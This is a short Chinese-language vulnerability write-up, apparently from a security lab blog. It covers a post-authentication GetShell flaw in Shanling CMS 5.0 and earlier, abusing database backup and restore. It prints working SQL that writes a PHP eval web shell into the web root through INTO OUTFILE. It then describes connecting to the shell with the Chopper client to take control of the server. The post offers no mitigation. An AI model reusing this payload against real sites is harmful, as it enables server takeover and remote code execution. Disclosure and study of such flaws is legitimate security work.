影响范围
闪灵CMS <=5.0
漏洞类型
数据库文件备份导致GetShell
利用条件
登陆后台管理账号+安装数据备份插件
漏洞概述
经测试,发现闪灵CMS后台运行备份当前数据库文件且备份名称中包含当前网站的web物理路径,同时允许上传本地备份的数据库文件,攻击者在登陆后台账号的情况下可以先备份当前数据库文件到本地,之后在数据库备份文件中插件恶意代码,之后再通过数据库恢复来getshell~
漏洞复现
首先,备份数据库文件到本地:
从数据库备份文件名中直接可以获取网站的物理路径信息:
之后在备份数据库文件中插入SQL语句:
DROP TABLE IF EXISTS `SL_shell`;
CREATE TABLE IF NOT EXISTS `SL_shell` (`cmd` longtext NOT NULL);
insert INTO SL_shell VALUES(\\\'<?php eval($_POST[cmd]);?>\\\');
Select cmd from SL_shell into outfile \\\'C:/phpstudy/www/shell.php\\\';
Drop TABLE IF EXISTS `SL_shell`;
之后恢复数据库文件
未做任何检查,直接覆盖
之后在web目录下成功生成shell.php文件:
之后使用菜刀远程连接
成功获取目标服务器的shell权限
原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34181.html